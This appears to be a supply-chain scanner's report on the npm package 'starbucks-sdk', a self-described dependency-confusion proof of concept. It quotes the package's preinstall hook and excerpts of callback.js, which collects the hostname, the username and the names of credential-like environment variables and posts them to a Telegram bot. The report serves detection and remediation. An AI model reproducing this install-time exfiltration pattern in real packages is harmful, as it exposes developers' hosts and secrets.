registry / Credential exfiltration / starbucks-sdk
starbucks-sdk
SECURITY RESEARCH - Dependency Confusion PoC
This report shows the evidence for starbucks-sdk@1.0.0, the only known version.
AI Security Review
scanned 1mo ago · by lpm-firewall-aiThis is concrete install-time host reconnaissance and outbound exfiltration to an unrelated Telegram recipient. The automatic lifecycle hook makes the behavior unconsented.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Installing the package runs the preinstall lifecycle hook.
Impact
This exposes host identity, username, current directory, and potentially sensitive environment-variable names without user consent.
Mechanism
callback.js reads system and environment-variable metadata, then posts a formatted message through HTTPS to Telegram.
Attack narrative
On installation, the package's preinstall hook invokes callback.js. The script gathers local host details and identifies environment variables with credential-related names, then posts a message to a Telegram bot endpoint. The lifecycle trigger makes this collection automatic and silent during dependency installation.
AI rationale
This is concrete install-time host reconnaissance and outbound exfiltration to an unrelated Telegram recipient. The automatic lifecycle hook makes the behavior unconsented.
Evidence
package.jsoncallback.js
Network endpoints1
api.telegram.org
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest automatically runs callback.js during preinstall.
- The callback collects host, username, working directory, and names of environment variables likely to hold credentials.
- The callback sends the collected information to Telegram via an HTTPS POST request.
Evidence against
Behavioral surface
EnvironmentVarsNetwork
HighEntropyStringsUrlStrings
Source & flagged code
10 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node callback.js 2>/dev/null || true
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.preinstall = node callback.js 2>/dev/null || true
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgcallback.jsView file
1Source sends the broad process environment to a literal external destination.
L1: const https = require('https');
L2: const os = require('os');
...
L7: const info = {
L8: hostname: os.hostname(),
L9: user: os.userInfo().username,
...
L12: time: new Date().toISOString(),
L13: secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10)
L14: };
...
L21: });
L22: req.write(JSON.stringify({chat_id: CHAT_ID, text: message, parse_mode: 'Markdown'}));
L23: req.end();
Critical
Findings
3 Critical4 High5 Medium4 Low
CriticalHardcoded Runtime Data Exfiltrationcallback.js
CriticalCredential Exfiltrationcallback.js
CriticalTrigger Reachable Dangerous Capabilitycallback.js
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationcallback.js
HighSandbox Evasion Gated Capabilitycallback.js
HighTrigger Reachable Credential Exfiltrationcallback.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
MediumShips Compressed Blobstarbucks-sdk-1.0.0.tgz
MediumStructural Risk Force Deep Review
Low
Affected versions and remediation
This report applies to starbucks-sdk@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing starbucks-sdk@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.